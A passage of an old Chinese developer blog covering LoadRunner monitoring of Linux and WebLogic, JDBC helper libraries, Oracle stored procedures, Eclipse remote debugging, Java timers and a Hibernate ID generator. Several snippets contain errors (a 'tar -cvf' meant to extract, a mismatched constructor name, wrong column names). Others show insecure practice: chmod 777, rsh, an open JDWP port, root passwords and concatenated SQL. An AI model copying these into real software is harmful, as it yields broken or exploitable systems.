yutian727

2007年3月15日

loadrunner监控linux和weblogic安装文档

       很久没上来活动了,一来没什么新的学习东西,这一年有些堕落了,二来嘛,工作就是重复,可能是太笨了,没什么新的领悟
       不过这两天有意思了,我学习了一下压力测试的东西,loadRunner,以前听同事们说过,感觉是个很有意思的东西,可是一直没有机会学。现在好了,给别人做了回助手,也了解了一下loadRunner的一些使用。
       不想在这里讨论使用,我还不够资格,讲些安装吧,说一下如何用lr来监控linux和weblogic,这可是我自己的安装心得哦。
        对linux的安装有些来自网上,出处有些记不清了,反正查了很多,可是多少有些问题,我做了下说明,可以参考。
     

一、loadrunner监控linux安装文档

1.安装rsh,和rsh-server两个服务包。
a.    卸载rsh
rpm –q rsh----------查看版本号

说明:如果版本存在,则直接安装rpc.rstatd-4.0.1.tar.gz
   如果版本不存在,则在linux安装包下找rsh-0.17-14.i386.rpm rsh-server-0.17-14.i386.rpm
   可能版本不一致,但是均可使用

B.安装

rpm –ivh rsh-0.17-14.i386.rpm rsh-server-0.17-14.i386.rpm


2. 下载并安装rstatd(这个包在我的共享目录下也有)
gunzip rpc.rstatd-4.0.1.tar.gz

tar –cvf rpc.rstatd-4.0.1.tar

./configure ---配置
make ---编译

说明:a.如果在linux下不能解压,则在window下解压,然后拷到linux下,目录不定,用户为root用户
   b.修改configure文件的使用权限
     chmod 777 configure
      c.按照上面的步骤操作

3。 打开/etc/xinetd.conf
里面内容是:
# Simple configuration file for xinetd
#
# Some defaults, and include /etc/xinetd.d/
defaults
{
        instances               = 60
        log_type                = SYSLOG authpriv
        log_on_success                = HOST PID
        log_on_failure                = HOST
        cps                        = 25 30
}
includedir /etc/xinetd.d

4.重启xinetd:

A:
service xinetd reload

说明:可能会有提示出现,不用处理,直接进入下一步

6.在启动rstatd:
  进入你rpc.rstatd-4.0.1.tar.gz的解压文件目录
  rpc.rstatd

7.查看rstatd是否启动:

rpcinfo –p

如果能看到:  

       100001    5   udp    618 rstatd

    100001    3   udp    618 rstatd

    100001    2   udp    618 rstatd

    100001    1   udp    618 rstatd

就说明rstatd服务已经启动。可以用LR去监视了。

 

二、loadrunner监控weblogic8.1

1.拷贝weblogic.jar到${lr_home}/classes下,同时,删除jmxri.jar或者修改jmxri.jar为任何名称
2.修改${lr_home}/dat/monitors下的WebLogicMon.ini文件,内容如下:
  原始内容为:JVM=javaw.exe JavaVersion=1.4;JavaVendor=Sun Microsystems Inc.
 修改后内容为:JVM=D:\bea\jdk141_03\bin\javaw.exe JavaVersion=1.4;JavaVendor=Sun Microsystems Inc.
 其中D:\bea\jdk141_03\bin\javaw.exe为自己本地weblogic的jdk所在位置
 javaVersion为weblogic所用的jdk版本号
 
 在网上有的要求修改Weblogic=weblogic.jar Port=1112,要求把PORT修改为7001,但在这里的实际安装过程中,没有做修改。
3.配置如何监控lr的weblogic(jmx)
 打开weglogic(jmx),添加度量
 其中监控的计算机名称为:ip:7001,如192.168.1.88:7001,平台选择所写ip的OS
  然后点击下面的资源度量的添加,输入登录的用户名和密码,此处的用户名和密码为:ip所在OS上的weblogic的登录用户名和密码
 在点击确定后会出现需要监控的资源信息,可以选择自己感兴趣的方面进行监控



    

posted @ 2008-02-25 11:10 牛宝雷 阅读(3215) | 评论 (0) | 编辑 收藏
 
java.lang.String中,match()的用法,即String.match(String pattern)
     摘要: String.match()方法  阅读全文
posted @ 2007-12-03 18:04 牛宝雷 阅读(27582) | 评论 (7) | 编辑 收藏
 
JAVA 处理时间 - java.sql.Date、java.util.Date与数据库中的Date字段的转换方法[转]

1、如何将java.util.Date转化为java.sql.Date?
转化:

java.sql.Date sd;
java.util.Date ud;
//initialize the ud such as ud = new java.util.Date();

sd = new java.sql.Date(ud.getTime());

2、如果要插入到数据库并且相应的字段为Date类型
那么可以用PreparedStatement.setDate(int ,java.sql.Date)方法
其中的java.sql.Date可以用上面的方法得到

也可以用数据库提供TO_DATE函数
比如 现有 ud
TO_DATE(new SimpleDateFormat().format(ud,"yyyy-MM-dd HH:mm:ss"),
"YYYY-MM-DD HH24:MI:SS")
注意java中表示格式和数据库提供的格式的不同

一个实际的例子

sql="update tablename set timer=to_date('"+t+"','yyyymmddhh24miss') where ....."

这里的t为变量为类似:20051211131223

 

3、如何将"yyyy-mm-dd"格式的字符串转换为java.sql.Date

方法1

SimpleDateFormat bartDateFormat =  
        new SimpleDateFormat("yyyy-MM-dd");  
       String dateStringToParse = "2007-7-12";  
       try {  
        java.util.Date date = bartDateFormat.parse(dateStringToParse);  
        java.sql.Date sqlDate = new java.sql.Date(date.getTime());
        System.out.println(sqlDate.getTime());  
       }  
       catch (Exception ex) {  
        System.out.println(ex.getMessage());  
       }

------------------------------------------------------------
方法2
       String     strDate     =     "2002-08-09";   
       StringTokenizer     st     =     new     StringTokenizer(strDate,     "-");   
       java.sql.Date     date     =     new     java.sql.Date(Integer.parseInt(st.nextToken()),
                Integer.parseInt(st.nextToken()),
                 Integer.parseInt(st.nextToken()));

  
java.util.Date和java.sql.Date的异同
java.sql.Date,java.sql.Time和java.sql.Timestamp三个都是java.util.Date的子类(包装类)。

        但是为什么java.sql.Date类型的值插入到数据库中Date字段中会发生数据截取呢?

        java.sql.Date是为了配合SQL DATE而设置的数据类型。“规范化”的java.sql.Date只包含年月日信息,时分秒毫秒都会清零。格式类似:YYYY-MM-DD。当我们调用ResultSet的getDate()方法来获得返回值时,java程序会参照"规范"的java.sql.Date来格式化数据库中的数值。因此,如果数据库中存在的非规范化部分的信息将会被劫取。

        在sun提供的ResultSet.java中这样对getDate进行注释的:
       Retrieves the of the designated column in the current row of this <code>ResultSet</code> object as a “java.sql.Date” object in the Java programming language.

         同理。如果我们把一个java.sql.Date值通过PrepareStatement的setDate方法存入数据库时,java程序会对传入的java.sql.Date规范化,非规范化的部分将会被劫取。然而,我们java.sql.Date一般由java.util.Date转换过来,如:java.sql.Date sqlDate=new java.sql.Date(new java.util.Date().getTime()).
显然,这样转换过来的java.sql.Date往往不是一个规范的java.sql.Date.要保存java.util.Date的精确值,
我们需要利用java.sql.Timestamp.
Calendar

Calendar   calendar=Calendar.getInstance();  
//获得当前时间,声明时间变量  
int   year=calendar.get(Calendar.YEAR);  
//得到年
int   month=calendar.get(Calendar.MONTH);  
//得到月,但是,月份要加上1  
month=month+1;
int   date=calendar.get(Calendar.DATE);  
//获得日期  
String   today=""+year+"-"+month+"-"+date+"";
posted @ 2007-11-12 10:16 牛宝雷 阅读(20535) | 评论 (2) | 编辑 收藏
 
[转]JSF的学习笔记提纲
最近开始学习JSF了,有网上找了一个学习的提纲,以为不错

使用JSF
一、入门
1. hello world
2. Navigation
3. Navigation rules configuration
4. JSF Expression Language
   #{param.name}   隐含对象
5. I18N

二、Managed Beans
1. Backing Bean(Glue Bean)
2. Beans的状态与设置
3. Beans上的List、Map

三、数据转换与验证
1. 标准转换器
   <f: convertDateTime>
   <h: message for="dateField" style="color: red"/>
2. 自定义转换器
3. 标准验证器
   语法检验、语意检验
   <f: validateLength minimum="6"/>
4. 自定义验证器
5. 错误信息处理
   messages.properties
6. 自定义转换、验证标签
   Tag Library

四、事件处理
1. 动作事件
   ActionEvent
   actionListener
2. 即时事件
   immediate="true"
3. 值变事件
   valueChangeListener
4. phase(分阶段)事件


JSF标签
一、标签入门
1. 简介JSF标准标签
2. 输出类标签
   1) outputLabel
   2) outputLink
   3) outputFormat
   4) outputText
3. 输入类标签
   1) inputText
   2) inputTextarea
   3) inputSecret
   4) inputHidden
4. 命令类标签
   1) commandButton
   2) commandLink
5. 选择类标签
   1) <h: selectBooleanCheckbox>
   2) <h: selectOneRadio>、<h: selectOneListbox>、<h: selectOneMenu>
   3) <h: selectManyCheckbox>、<h: selectManyListbox>、<h: selectManyMenu>
   4) <f: selectItem>、<f: selectItems>

二、表格处理
1. 简单的表格
   <h: dataTable>、<h: column>
2. 表头、表尾
   <f: facetname="header">
   <f: facetname="footer">
   CSS
3. TableModel类别
   数组
   java.util.List
   java.sql.ResultSet
   javax.servlet.jsp.jstl.sql.Result
   javax.faces.model.DataModel



参考资料:
http://caterpillar.onlyfun.net/Gossip/JSF/JavaServerFaces.htm
posted @ 2007-09-28 16:03 牛宝雷 阅读(534) | 评论 (1) | 编辑 收藏
 
利用Jakarta Commons组件beanutils、dbutils简化JDBC数据库操作(二)
二、Jakarta Commons dbutils:
    用JDBC API时最令人讨厌的就是异常处理,也很烦琐,而且很容易出错,本人曾考虑过利用模板进行处理,后来看到了dbutils,之后就采用那个dbutils,采用模板的方式各位朋友可以参考Spring,Spring的JdbcTemplate不灵活而强大,呵呵,说句闲话,实在太佩服Rod Johnson了,Rod Johnson真的很令人尊敬。
    Dbutils的QueryRunner把大多数与关闭资源相关的封装起来,另外,你也可以使用DbUtils进行关闭,当然DbUtils提供的功能当然不止这些,它提过了几个常用的静态方法,除了上述的关闭资源外,DbUtils. commitAndClose(Connection conn)还提供事务提及等操作。
还是以一个例子来说说吧,毕竟我不是搞业务的,小嘴巴吧嗒吧哒不起来啊,呵呵。
    为了和采用Beanutils更好的进行对比,这个例子还是实现同样的功能,数据库同样采用前一篇文章中提到的publish。
同样的,用你喜欢的编辑器建立一个类DbutilsJDBCTest,示例代码如下所示:
package cn.qtone.test;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.SQLException;
import java.util.List;
import java.util.Map;
import org.apache.commons.dbutils.DbUtils;
import org.apache.commons.dbutils.QueryRunner;
import org.apache.commons.dbutils.handlers.MapListHandler;
public class DbutilsJDBCTest{
    public static void main(String[] args) {
        Connection conn = null;
        String jdbcURL = "jdbc:mysql://127.0.0.1:3306/publish?useUnicode=true&characterEncoding=GBK";
        String jdbcDriver = "com.mysql.jdbc.Driver";
        try {
            DbUtils.loadDriver(jdbcDriver);
            // Username "root". Password "root"
            conn = DriverManager.getConnection(jdbcURL, "root", "root");
            QueryRunner qRunner = new QueryRunner();
            System.out.println("***Using MapListHandler***");
            //以下部分代码采用Map存储方式,可以采用Bean的方式代替进行处理
            List lMap = (List) qRunner.query(conn,
                    "select title,authors  from books", new MapListHandler());
            //以下是处理代码,可以抽取出来
System.out.println("title ------------- authors ");
                for (int i = 0; i < lMap.size(); i++) {
                        Map vals = (Map) lMap.get(i);
                        System.out.println(vals.get("title")+"-------------"+ vals.get("authors"));
                }
        } catch (SQLException ex) {
            ex.printStackTrace();
        } finally {
            DbUtils.closeQuietly(conn);
        }
    }
}

怎么样?是不是比采用Beanutils的ResultSetDynaTrial和RowSetDynaClass好多了?采用Beanutils令人难缠的是关闭那些资源以及处理那些异常,而这里采用Dbutils显然代码量减少了很多。
上例在处理结果集时,它把数据库中的每一行映射成一个Map,其中列名作为Key,该列对应的值作为Value存放,查询的所有的数据一起放在一个List里,然后进行处理,当然,一个更明智的处理是直接返回List然后再单独进行处理。
事实上上例返回的结果集中的每一行不必放在一个Map里,你可以放在一个Bean里,当然如果你真的很懒,你也可以使用Beanutils的LazyDynaClass和LazyDynaBean,不过也许没有必要那么做,至于原因请看下文。

如果使用Bean而不是用Map,那么,你也许需要建立一个Bean,如下:
package cn.qtone.test;
public class Book {
    public int id;
    public String title;
    public String authors ;
    public StudentBean() {
    }
    public String getAuthors() {
        return authors;
    }
    public void setAuthors(String authors) {
        this.authors = authors;
    }
    public int getId() {
        return id;
    }
    public void setId(int id) {
        this.id = id;
    }
    public String getTitle() {
        return title;
    }
    public void setTitle(String title) {
        this.title = title;
    }
}

然后简单修改一下DbutilsJDBCTest 中的部分代码即可,代替之后的源代码如下:

package cn.qtone.test;

import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.SQLException;
import java.util.List;
import java.util.Map;
import org.apache.commons.dbutils.DbUtils;
import org.apache.commons.dbutils.QueryRunner;
import org.apache.commons.dbutils.handlers.BeanListHandler;

public class DbutilsJDBCTest{
    public static void main(String[] args) {
        Connection conn = null;
        String jdbcURL = "jdbc:mysql://127.0.0.1:3306/publish?useUnicode=true&characterEncoding=GBK";
        String jdbcDriver = "com.mysql.jdbc.Driver";
        try {
            DbUtils.loadDriver(jdbcDriver);
            // Username "root". Password "root"
            conn = DriverManager.getConnection(jdbcURL, "root", "root");
            QueryRunner qRunner = new QueryRunner();
            System.out.println("***Using BeanListHandler ***");
            //以下部分代码采用Map存储方式,可以采用Bean的方式代替进行处理
List lBeans = (List) qRunner.query(conn," select title,authors from books ", new BeanListHandler(Book.class));
    //以下是处理代码,可以抽取出来
System.out.println("title ------------- authors ");
    for (int i = 0; i < lBeans.size(); i++) {
            Book vals = (Book) lBeans.get(i);    
          System.out.println(vals.getTitle ()+"-------------"+ vals. getAuthors ());
                }
        } catch (SQLException ex) {
            ex.printStackTrace();
        } finally {
            DbUtils.closeQuietly(conn);
        }
    }
}
    这两种法输出的结果应该是一样的。两种处理方式都差不多,但我更愿意采用第一种,因为第一种少写一个bean,而且我测试过采用Map的方式即第一种方式性能要好的多,采用Bean性能比较低可能是因为采用反射的缘故,采用反射的东东性能和不采用反射的还是有点差距。也是这个原因,不推荐采用LazyDynaClass和LazyDynaBean,因为采用这二者是在运行期动态创建Bean类和Bean属性,然后再创建Bean对象的,其性能可想而知了(不过我没有测试过啊,所以我说这个话可说是没有根据的,感兴趣的朋友自己测试一下,记得告诉我结果哦,呵呵),除了MapListHandler以及BeanListHandler之外,DButils还提供了其他的Handler,如果这些不能满足你的需求,你也可以自己实现一个Handler。
    最后,也是最大的体会,也许是最大的收获吧,那就是:对于每一个项目,在根据每一个需求获取相应解决方案时,先寻找开源组件,看是否已经有满足某些功能需求的开源组件,如果没有,再考虑自主开发或者向第三方购买,否则尽量采用开源组件.
    请尽量享用开源的魅力,尽情的拥抱开源吧。
posted @ 2007-09-20 11:09 牛宝雷 阅读(1448) | 评论 (1) | 编辑 收藏
 
利用Jakarta Commons组件beanutils、dbutils简化JDBC数据库操作(一)
好久没有写过blog了,因为这段时间做的也就是这些,job,dblink,procedure,view等等吧,项目刚刚做完,我有幸调到金融行情的服务器部门工作,现在正在学习JAKARTA的东西.现在网上找了一下相关资料,现放在此处,以后常学习

关键字:beanutils、dbutils、JDBC 数据库
摘要:本文简单介绍了Jakarta Commons旗下beanutils、dbutils在基于JDBC API数据库存取操作中的运用。
   虽然现在出现了很多ORM框架,可是还是有很多朋友也许还在使用JDBC,就像我现在一样,除了学习的时候在使用Hibernate、Spring类似这些优秀的框架,工作时一直都在使用JDBC。本文就简单介绍一下利用Jakarta Commons旗下beanutils、dbutils简化JDBC数据库操作,以抛砖引玉,希望对像我一样在使用JDBC的朋友有所帮助。
    下面就分两部分简单介绍beanutils、dbutils在基于JDBC API数据库存取操作中的运用。第一部分显介绍beanutils在JDBC数据库存取操作中的运用,第二部分介绍dbutils在JDBC数据库存取操作中的运用,最后看看他们的优缺点,谈谈本人在项目运用过程中对他们的一点心得体会,仅供参考,其中有错误的地方希望大虾不吝赐教,大家多多交流共同进步。
一、Jakarta Commons beanutils
    Beanutils是操作Bean的锐利武器,其提过的BeanUtils工具类可以简单方便的读取或设置Bean的属性,利用Dyna系列,还可以在运行期创建Bean,符合懒人的习惯,正如LazyDynaBean,LazyDynaClass一样,呵呵。这些用法已经有很多文章提及,也可以参考apache的官方文档。
    对于直接利用JDBC API访问数据库时(这里针对的是返回结果集ResultSet的查询select),大多数都是采用两种方式,一种是取出返回的结果集的数据存于Map中,另一种方式是Bean里。针对第二种方式,Beanutils里提供了ResultSetDynaClass结合DynaBean以及RowSetDynaClass结合DynaBean来简化操作。下面用以个简单的例子展示一下beanutils的这两个类在JDBC数据库操作中的运用。
    请在本机建立数据库publish,我用的是MySQL,在publish数据库中建立表book,脚本如下:
CREATE TABLE book(
  id int(11) NOT NULL auto_increment,
  title varchar(50) character set latin1 NOT NULL,
  authors varchar(50) character set latin1 default NULL, 
  PRIMARY KEY  (id)
) 

    然后用你喜欢的编辑器建立一个类BeanutilsJDBCTest,我们先用ResultSetDynaClass来处理,然后再用RowSetDynaClass来实现同样的类,之后看看他们之间有什么不同,用ResultSetDynaClass处理的源代码如下所示:
    然后用你喜欢的编辑器建立一个类BeanutilsJDBCTest,我们先用ResultSetDynaClass来处理,然后再用RowSetDynaClass来实现同样的类,之后看看他们之间有什么不同,用ResultSetDynaClass处理的源代码如下所示:
package cn.qtone.test;

import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.ResultSet;
import java.sql.Statement;
import java.util.Iterator; 
import org.apache.commons.beanutils.DynaBean;
import org.apache.commons.beanutils.PropertyUtils;
import org.apache.commons.beanutils.ResultSetDynaClass; 
public class BeanutilsJDBCTest{
       public static void main(String[] args) {
              Connection con = null;
              Statement st = null;
              ResultSet rs = null;
              try {
                     Class.forName("com.mysql.jdbc.Driver");
                     String url = "jdbc:mysql://127.0.0.1:3306/publish?useUnicode=true&characterEncoding=GBK";
                     con = DriverManager.getConnection(url, "root", "hyys");
                     st = con.createStatement();
                     rs = st.executeQuery("select * from book");
                     ResultSetDynaClass rsDynaClass = new ResultSetDynaClass(rs);
                     Iterator itr = rsDynaClass.iterator();
                     System.out.println("title-------------authors");
                     while (itr.hasNext()) {
                            DynaBean dBean = (DynaBean) itr.next();
                            System.out.println(PropertyUtils.getSimpleProperty(dBean,"title")+ "-------"+ PropertyUtils.getSimpleProperty(dBean, "authors"));

                     }
              } catch (Exception e) {
                     e.printStackTrace();
              } finally {
                     try {
                            if (rs != null) {
                                   rs.close();
                            }
                            if (st != null) {
                                   st.close();
                            }
                            if (con != null) {
                                   con.close();
                            }
                     } catch (Exception e) {
                            e.printStackTrace();
                     }
              }
       }
} 

用RowSetDynaClass处理的源代码如下所示: 

package cn.qtone.test; 

import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.ResultSet;
import java.sql.Statement;
import java.util.Iterator;
import java.util.List; 
import org.apache.commons.beanutils.DynaBean;
import org.apache.commons.beanutils.PropertyUtils;
import org.apache.commons.beanutils.RowSetDynaClass; 

public class BeanutilsJDBCTest{
       public static void main(String[] args) {
              List rsDynaClass = rsTest();
              System.out.println("title ------------- authors ");
              Iterator itr = rsDynaClass.iterator();
              while (itr.hasNext()) {
                     DynaBean dBean = (DynaBean) itr.next();
                     try {
                            System.out.println(PropertyUtils.getSimpleProperty(dBean,"name")  + "-----"+ PropertyUtils.getSimpleProperty(dBean, "mobile"));
                     } catch (Exception e) {
                            // TODO 自动生成 catch 块
                            e.printStackTrace();
                     }
              }
       } 
       private static List rsTest() {
              Connection con = null;
              Statement st = null;
              ResultSet rs = null;
              try {
                     Class.forName("com.mysql.jdbc.Driver");
                     String url = "jdbc:mysql://127.0.0.1:3306/publish?useUnicode=true&characterEncoding=GBK";
                     con = DriverManager.getConnection(url, "root", "hyys");
                     st = con.createStatement();
                     rs = st.executeQuery("select * from book");
                     RowSetDynaClass rsdc = new RowSetDynaClass(rs);
                     return rsdc.getRows();
              } catch (Exception e) {
                     e.printStackTrace();
              } finally {
                     try {
                            if (rs != null) {
                                   rs.close();
                            }
                            if (st != null) {
                                   st.close();
                            }
                            if (con != null) {
                                   con.close();
                            }
                     } catch (Exception e) {
                            e.printStackTrace();
                     }
              }
              return null;
       }
} 

     这两个方法输出的结果应该是一样的。但是很显然第二种方式比第一种方式要好,它把数据访问部分抽取出来放到一个方法中,显得简单清晰。
     其实在利用ResultSetDynaClass时,必须在ResultSet等数据库资源关闭之前,处理好那些数据,你不能在资源关闭之后使用DynaBean,否则就会抛出异常,异常就是说不能在ResultSet之后存取数据(具体的异常名我也忘了),当然你也可以采用以前的方式一个一个的把数据放到Map里,如果你一定要那样做,建议还是别用Beanutils,因为这没带给你什么好处。总之利用ResultSetDynaClass你的程序的扩展性非常部好。
    从第二中方式可以看出,利用RowSetDynaClass可以很好的解决上述ResultSetDynaClass遇到的问题,RowSetDynaClass的getRows()方法,把每一行封装在一个DynaBean对象里,然后,把说有的行放到一个List里,之后你就可以对返回的List里的每一个DynaBean进行处理,此外对于DynaBean你还可以采用标准的get/set方式处理,当然你也可以用PropertyUtils. getSimpleProperty(Object bean, String name)进行处理。
    从上面的分析中,你应该可以决定你应该使用ResultSetDynaClass还是RowSetDynaClass了。


未完待续……
posted @ 2007-09-20 11:08 牛宝雷 阅读(949) | 评论 (2) | 编辑 收藏
 
存储过程生成临时表用从临时表中取数据

这两天工作还行,工作的内容就是写存储过程,对于我这个没有写过存储近程的人来说,还是有一定困难的.不过还好,在众多资源的帮助下,万事OK呀,哈哈.下面就是我写的两个存储过程.

       其一:对数据库中的原表进行每天的备份;

       其二:通过对最新的备份表进行取值操作,通过判断,向原表中插入数据.

       其实这两个存储过程也没有什么难的,一方面我是这方面的新手,另一方面要操作一个临时表,而且要从中取得数据(没有传入值),我在网上找了一下,没有什么成功的例子,所以,把我这两天的成果晒一下.

       先说几个关键词(我用的时候,没少为这几个词费脑子)

1.       execute Immediate,一个执行动态SQL的东东,在每天生成备份表时,立下了汉马功劳.我的表名为:原表名+yyyymmdd

2.       creat table 表名 as select * from 已有表.这是一个创建表,我认为最快的一种方法,在创建表的同时,也可以直接把已有表中的数据也一起copy过来,呵呵,很是神奇

3.       sys_refcursor,这是一个cursor,很怪异的一个cursor,能够生成动态的cursor,可以多用一些,

 

下面我写的存储过程,主要地业务逻辑去掉了,主要说一下过程

1.      每天生成表备份的存储过程

create or replace procedure P_HOLD_COPY Is
--每天结算时,为当天的持股做备份
--得到表名为原表名+yyyymmdd的格式
table_name Varchar2(20) := 'test'||To_char(Sysdate,'yyyymmdd');
Begin
    execute Immediate 'Create Table '||table_name||' As Select * From T_STOC_HOLD';
  Commit;
end P_HOLD_COPY;

2.       从备份表中取得数据,然后根据数据,对原表进行操作

create or replace procedure P__SHARE  is
--******************************************************************
--存储过程名称:P_SHARE
--功能描述:对备份表进行数据操作
--******************************************************************
 balance Number;
 totalmoney Number;
 h_amount Number;
 
 allot_stock Number;
 allot_money Number;
 
 str Varchar2(1);
 v_product_oid Varchar2(32);
 
table_name Varchar2(20);
sqlstr Varchar2(1000);
 
 v_allot_row t_stoc_allot%rowtype;
 v_hold_row t_stoc_hold%rowtype;

 Cursor c_allot is select * from t_stoc_allot where to_char(t_stoc_allot.regdate,'yymmdd') < to_char(sysdate+1,'yymmdd') And (t_stoc_allot.is_allot Is Null Or t_stoc_allot.is_allot='1');

 c_hold sys_refcursor  ;

Begin

  open c_allot;
  loop
      fetch c_allot into v_allot_row;
       
      table_name :=  'T_STOC_HOLD'||To_char(v_allot_row.regdate,'yyyymmdd');
     
      v_product_oid := v_allot_row.product_oid;
      sqlstr := 'select * from '||table_name||' where stock_code='||v_product_oid;
      exit when c_allot%NOTFOUND;

        open c_hold For sqlstr ;
        loop
            fetch c_hold into v_hold_row;
            exit when c_hold%NOTFOUND;
            
                   end loop;
        close c_hold;
          end loop;
  close c_allot;
 
  Commit;
end P_SHARE;

posted @ 2007-07-06 16:37 牛宝雷 阅读(5353) | 评论 (4) | 编辑 收藏
 
eclipse的远程调试(jboss+tomcat),已成功

何为远程调试?我们一般调试一个web项目的java代码时,需要将你的web服务器和你的开发工具(比如eclipse)集成,或需要工具的一些插件支持(比如Eclipse下的myclipse等),这些方式都是在本地进行,即你的开发工具和web服务器运行在同一台服务器上,如果你的开发工具和服务器不再一台机器上那就需要实现远程调试功能了。

下面说明一下在tomcat中的远程调试实现:

在tomcat的catalina.bat文件中加入下面的设置,当然SET CATALINA_OPTS 变量应该在使用它之前。这是在tomcat启动时设置一些虚拟机参数,使服务器允许远程连接功能,address=5888表示远程连接的端口号,可以设置成任意其他不冲突端口。
SET CATALINA_OPTS=-server -Xdebug -Xnoagent -Djava.compiler=NONE -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=5888

然后说明一下在jboss中的远程调试实现:

在jobss中配置远程调试比较简单,他的原理和tomcat一样,也是修改一下他的虚拟机参数,形式为:端口为8787,注意端口不要重复
JAVA_OPTS="$JAVA_OPTS -Xdebug -Xnoagent -Xrunjdwp:transport=dt_socket,address=8787,server=y,suspend=n"

这样就Ok了,重启动web服务器,可以直接独立启动,而不用在eclipes的插件中启动。打开eclipse中的debug设置窗口,选择Remote Java Application ,新建一个debug项,输入服务器IP和刚才设置端口号,点ok就可以进入debug状态了。Jbuilder中同样可以设置Remote Java Application。

posted @ 2007-07-06 15:22 牛宝雷 阅读(2684) | 评论 (3) | 编辑 收藏
 
java.util.TimeTask例子

java.util.Timer定时器,实际上是个线程,定时调度所拥有的TimerTasks。  
  一个TimerTask实际上就是一个拥有run方法的类,需要定时执行的代码放到run方法体内,TimerTask一般是以匿名类的方式创建。  
   
  一个完整的Timer:  
   
  java.util.Timer   timer   =   new   java.util.Timer(true);  
      //   true   说明这个timer以daemon方式运行(优先级低,  
      //       程序结束timer也自动结束),注意,javax.swing  
      //   包中也有一个Timer类,如果import中用到swing包,  
      //   要注意名字的冲突。  
   
  TimerTask   task   =   new   TimerTask()   {  
      public   void   run()   {  
            ...   //每次需要执行的代码放到这里面。  
      }  
  };  
   
  //以下是几种调度task的方法:  
   
  timer.schedule(task,   time);    
  //   time为Date类型:在指定时间执行一次。  
   
  timer.schedule(task,   firstTime,   period);  
  //   firstTime为Date类型,period为long  
  //   从firstTime时刻开始,每隔period毫秒执行一次。  
   
  timer.schedule(task,   delay)  
  //   delay   为long类型:从现在起过delay毫秒执行一次  
   
  timer.schedule(task,   delay,   period)  
  //   delay为long,period为long:从现在起过delay毫秒以后,每隔period  
  //     毫秒执行一次。   
   

下面是一个完整的例子,由两个类组成,一个定制任务,一个调用java.util.Timer

定制任务:
import java.util.Timer;

public class TimerTaskTest extends java.util.TimerTask{

 @Override
 public void run() {
  // TODO Auto-generated method stub
  System.out.println("start");
 }
}
2.调用java.util.Timer
import java.util.Timer;

public class Test {
 public static void main(String[] args){
  Timer timer = new Timer();
  timer.schedule(new TimerTaskTest(), 1000, 2000);
  try{
   Thread.sleep(1000);
  }catch(Exception ex){
   timer.cancel();
  }
 }
}
根据上面的介绍,便可以在1秒后,每隔2秒执行一次程序
建议:在使用Timer timer = new Timer()时,不要用Timer timer = new Timer(true).因为这样,在程序结束后,timer也自动结束了,不利于使用

posted @ 2007-06-01 16:30 牛宝雷 阅读(3015) | 评论 (2) | 编辑 收藏
 
定时执行任务的三种方法(转)

1)java.util.Timer
这个方法应该是最常用的,不过这个方法需要手工启动你的任务:
Timer timer=new Timer();
timer.schedule(new ListByDayTimerTask(),10000,86400000);
这里的ListByDayTimerTask类必须extends TimerTask里面的run()方法。

2)ServletContextListener
这个方法在web容器环境比较方便,这样,在web server启动后就可以
自动运行该任务,不需要手工操作。
将ListByDayListener implements ServletContextListener接口,在
contextInitialized方法中加入启动Timer的代码,在contextDestroyed
方法中加入cancel该Timer的代码;然后在web.xml中,加入listener:
<listener>
<listener-class>com.qq.customer.ListByDayListener</listener-class>
</listener>

3)org.springframework.scheduling.timer.ScheduledTimerTask
如果你用spring,那么你不需要写Timer类了,在schedulingContext-timer
.xml中加入下面的内容就可以了:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE beans PUBLIC "-//SPRING//DTD BEAN//EN" "http://www.springframework.org/dtd/spring-beans.dtd">

<beans>
<bean id="timer" class="org.springframework.scheduling.timer.TimerFactoryBean">
     <property name="scheduledTimerTasks">
         <list>
              <ref local="MyTimeTask1"/>
         </list>
     </property>
</bean>

<bean id="MyTimeTask" class="com.qq.timer.ListByDayTimerTask"/>

<bean id="MyTimeTask1" class="org.springframework.scheduling.timer.ScheduledTimerTask">
   <property name="timerTask">
       <ref bean="MyTimeTask"/>
   </property>
   <property name="delay">
       <value>10000</value>
   </property>
   <property name="period">
       <value>86400000</value>
   </property>
</bean>
</beans>

posted @ 2007-06-01 15:49 牛宝雷 阅读(487) | 评论 (0) | 编辑 收藏
 
hibernate自定义生成主健

现在做的项目有一个需求:在不多维护一张表的情况下,自动生成主键,同sequence一样,而且要有一定的规范.比如,现在我们的规范是yymmddhhmmss+四位流水号.没有办法,只好对hibernate的主键生成做自定义.下面是我的代码,请多多指教.

声明,我的hibernate的版本是:hibernate3.2

自定义的时候,只对两个地方做了修改,一个是自己写了一个java类,实现了hibernate的IdentifierGenerator和Configurable ,另外一个地方就是对*.hbm.xml文件做修改.
一.
先说对*.hbm.xml做的修改吧,东西比较少.
原始的配置文件中,主键生成时,采用的是自动增加1,如下:
<class name="com.ce.fxmgn.entity.Hold" table="HOLD">
        <id name="oid" type="java.lang.String">
            <column name="OID" length="32" />
            <generator class="sequence">
             <param name="sequence">seq_id</param>
            </generator>
        </id>
在修改后,去掉了sequence,如下:
<class name="com.ce.fxmgn.entity.Hold" table="HOLD">
        <id name="oid" type="java.lang.String">
            <column name="OID" length="32" />
            <generator class="com.hello.test.po.InMemoryIncrement">
            </generator>
        </id>
其中,com.hello.test.po.InMemoryIncrement便是自己写的java类.


二.扩展的java类.实现了hibernate的IdentifierGenerator和Configurable

package com.hello.test.po;

import org.apache.commons.logging.Log;
import org.apache.commons.logging.LogFactory;

import org.hibernate.HibernateException;
import org.hibernate.MappingException;

import org.hibernate.dialect.Dialect;

import org.hibernate.engine.SessionImplementor;

import org.hibernate.id.Configurable;
import org.hibernate.id.IdentifierGenerator;
import org.hibernate.id.PersistentIdentifierGenerator;

import org.hibernate.type.Type;

import java.io.Serializable;

import java.sql.Connection;
import java.sql.PreparedStatement;
import java.sql.ResultSet;
import java.sql.SQLException;

import java.util.Date;
import java.util.HashMap;
import java.util.Map;
import java.util.Properties;
import java.util.Properties;


public class InMemoryIncrement implements IdentifierGenerator, Configurable {
    private static final Log log = LogFactory.getLog(InMemoryIncrement.class);

    //存储最大值的数组的容量
    private static final int MAX_CAPACITY = 2000;

    /**同步锁*/
    private static final Object lock = new Object();

    //存储表存储在数组中的索引值
    private static Map map = new HashMap();

    //最大值数组
    private static long[] seqs = new long[MAX_CAPACITY];

